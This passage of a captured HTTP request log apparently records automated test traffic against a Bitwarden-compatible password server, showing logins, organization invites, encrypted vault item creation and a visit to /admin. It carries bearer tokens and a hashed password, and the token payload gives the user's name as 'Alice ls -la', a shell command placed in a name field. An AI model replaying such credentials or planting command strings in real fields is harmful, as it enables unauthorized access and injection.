empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/billing/vnext/self-host/metadata", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=62b4b472-0481-4d9e-9098-e04ed384c06f&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/invite", "headers": ["Host: example.com", "Content-Length: 149", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2NTMsImV4cCI6MTc5NDI4ODg1MywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjYyYjRiNDcyLTA0ODEtNGQ5ZS05MDk4LWUwNGVkMzg0YzA2ZiIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.ZB0_JlnJCCwkjbKgqB4VhsaIIjKje9xcho5dlgdarvXYh2P7fvQzHNVI4kLNB9IkM1hA6jn42E6duXz0mGt_Zt-tAtgVWMX_NNpIQnIoP2c5ENZA-HHE1cXcMzT4gC91D-ntlYyAO0pkHGqq3ohM0cL4W3NFxUyfFBI_18Bl2RfKVvZkqix3Mq6nZ8vIrvR61-RzPWnrXGZkq-sNVMSnlG7a1QhI7QxElK5u3csDrhDTpbM4hpKbq8C7q3H5Cqk67ofo2UY0CdSEshlbN9yGMpBNHFYy6LCbGxmPr8KfnFBq5H-xOdcYfBQDH2ldL46sHl9rlAwvyhGIOdJkV4gXsQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"accessSecretsManager\":false,\"collections\":[],\"emails\":[\"bob@example.com\",\"carol@example.com\"],\"type\":2,\"groups\":[],\"permissions\":{\"response\":null}}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=ae50381e-c4dd-46df-8c1b-81d07bd6b31c&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/mini-details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE3MDgsImV4cCI6MTc5NDI4ODkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImFlNTAzODFlLWM0ZGQtNDZkZi04YzFiLTgxZDA3YmQ2YjMxYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.Wn3NVdmLvdT-Q1Nbl9EENt94ePL-OQnmu3lGeamnQPBnlkBGwyqnCpxSInwrP4uvip_nCJObshjh8h3GNPzKXy2_EsA4L9-_Iim4EegSu2BEnta4vBzL-kgMPJWh_W1iuSDZz7Rr9DytQprzDkwqV8VMAyiK1-KGvC9oAdXkj-p54JN5xTHfFT5KpjsJArNbSPaSruWLdj21CFaUs0MeDZZVEZ_b6yq5XVLEZevit2pwcr_PSEq-5tECgptOtt6S2NmDp8ID5FkzcIi7BaxZBDOJNBNkuHAYURvHDOFL47B__qcHcj5ZD-mf3q0s5ut_HwqAkGsAszRNcjz2BQlJ4w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections", "headers": ["Host: example.com", "Content-Length: 264", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE3MDgsImV4cCI6MTc5NDI4ODkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImFlNTAzODFlLWM0ZGQtNDZkZi04YzFiLTgxZDA3YmQ2YjMxYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.Wn3NVdmLvdT-Q1Nbl9EENt94ePL-OQnmu3lGeamnQPBnlkBGwyqnCpxSInwrP4uvip_nCJObshjh8h3GNPzKXy2_EsA4L9-_Iim4EegSu2BEnta4vBzL-kgMPJWh_W1iuSDZz7Rr9DytQprzDkwqV8VMAyiK1-KGvC9oAdXkj-p54JN5xTHfFT5KpjsJArNbSPaSruWLdj21CFaUs0MeDZZVEZ_b6yq5XVLEZevit2pwcr_PSEq-5tECgptOtt6S2NmDp8ID5FkzcIi7BaxZBDOJNBNkuHAYURvHDOFL47B__qcHcj5ZD-mf3q0s5ut_HwqAkGsAszRNcjz2BQlJ4w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"groups\":[],\"users\":[{\"id\":\"ab3f80e9-1cf2-4bd9-8c66-8c225c8d33dd\",\"readOnly\":false,\"hidePasswords\":false,\"manage\":true}],\"externalId\":\"\",\"name\":\"2./eWYBCYfxt2CpqudM8IRPw==|tfUIkttKcBarAVvj6qNBZLvw2Rom7QwMFQARagtkstA=|9zpUmFA8gLf3oUae49VRTknBLAsH1JKdeESqo2BWIEs=\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=12bb4ea5-49af-4afd-9cec-ed32b2437f32&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=24434ab4-f1ef-4061-9380-1a993936a90d&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/api/ciphers/admin", "headers": ["Host: example.com", "Content-Length: 1480", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4MDUsImV4cCI6MTc5NDI4OTAwNSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjI0NDM0YWI0LWYxZWYtNDA2MS05MzgwLTFhOTkzOTM2YTkwZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.edtR1uM5n7CzJSwlwHtZdz7ZHPyn1BODXLt8mnzi58O7kTpeAmPHruKXNl2I4ZDn9UeKoyJk22Bzz0doTsJSZ3xdGRP8Tr60HBepjkCl7wI164pao7fEXjJvkNFnosfjflhia_b28bbp_xrH42kQBpYO5Lc2Qo65cObCFAnSUDNRGvZPUDEdkGlhWZTNcW2P-XMtEHdJ-rp4CR1iyd8l5GH5c_5OEHTuBOD1Sl-R4UUwimpx6z6EnwA2JPLolCLIs77EMv7Dvy3NGUAZXXOGKWVXSj68Y6bJnRus9xS-ZsFOIgjaDlUtJlk6vP0F6LNmAlPie292IOWKeoq1iPQepA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"cipher\":{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"b1fb68418247e16695e690620effc0de\",\"organizationId\":\"eded96f5-92c5-43ce-ab72-533d0e962b9b\",\"name\":\"2.lY/hB+h+vqOQjg9Yna8m9w==|s480HYIfQbmtk6z/EYzbxPoFYzkNa7ydPg8dxA0Jytg=|FlREq/eToDYyO36XEdhDN6e9HU58bJ3rIZIw9GVWsQs=\",\"notes\":\"2.zUYzI+JWIYa4YjrdYbHs5Q==|i+t8bIXaZyNEQyTVeQwPs+RhZzIo6j2QXYc+PB4kMRbA3MvHiicCj6O0lbDrdvbB2H/Yj85vIRcsoWHtFpyDRg==|GRryQSmDSV7SSRI4Wx2C8bq7Krz+gt7QWNmxwjXVYG0=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:37:05.299Z\",\"reprompt\":0,\"key\":\"2.qrusUZlra1XEFhBRBOoi9g==|o0bsKcbRSzfh/aQHQjvyUZqZ02NFvyk1DcU0YcYADKsJnWnPWyDL+v/HVaMit9XW7uxEevlUq+EupP3EIn5TSMR1xclexP/GxvJsoT/MHxc=|2pujK5igG7kwdxrLqzW24h/Hv5jta/mtPCIasjQq84I=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.B4p7WzDPraJjl8OFO1muxg==|Mguml66+QHS7vnxCrn841MHiB+8PAvuTxHMIajw1AzE=|ob/5zszNCjKCZ2fbnHiOlhJD/8jC6F+ubvSkPHBJEVw=\",\"uriChecksum\":\"2.VCS0dJN0hhCtUD1HtKzPpg==|NPvWJwVpiPFW3uI7Ld/mL44b81wX8aLwrk8q9YwExlSZm2ewI0SWX4WUwGR18Ot2|kXLvqvMMAa46QdYO3zcTYLBLAgBVise8oaXSen3pOxA=\"}],\"username\":\"2.47MJc/rnQ22b9B9BTwHAYg==|c3dNl/3b9J+A8QSaal76Lw==|SbWBlD6abJ6hemq0dEuy0DPzSCZ5OhPnJHm+OvA+OrE=\",\"password\":\"2.+K8/FCFH8oK5VAw6dZz4Vw==|3B1V89DdD8J5N9F43NZWlHTchEGtUPuJsdJMTUk9pY4=|S62pRKUd+G/R9coMtZ8hnP6Fp8CBS11ODPpiHvg7G8Y=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}},\"collectionIds\":[\"fae8be0f-c913-4947-bd22-b8859070af38\"]}"}
|
||||||
|
{"method": "GET", "target": "/api/ciphers/32275125-8c1e-479f-8a41-0c6818b8f9b2/admin", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4MDUsImV4cCI6MTc5NDI4OTAwNSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjI0NDM0YWI0LWYxZWYtNDA2MS05MzgwLTFhOTkzOTM2YTkwZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.edtR1uM5n7CzJSwlwHtZdz7ZHPyn1BODXLt8mnzi58O7kTpeAmPHruKXNl2I4ZDn9UeKoyJk22Bzz0doTsJSZ3xdGRP8Tr60HBepjkCl7wI164pao7fEXjJvkNFnosfjflhia_b28bbp_xrH42kQBpYO5Lc2Qo65cObCFAnSUDNRGvZPUDEdkGlhWZTNcW2P-XMtEHdJ-rp4CR1iyd8l5GH5c_5OEHTuBOD1Sl-R4UUwimpx6z6EnwA2JPLolCLIs77EMv7Dvy3NGUAZXXOGKWVXSj68Y6bJnRus9xS-ZsFOIgjaDlUtJlk6vP0F6LNmAlPie292IOWKeoq1iPQepA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/vw_static/bootstrap.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/vw_static/admin.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||||
|
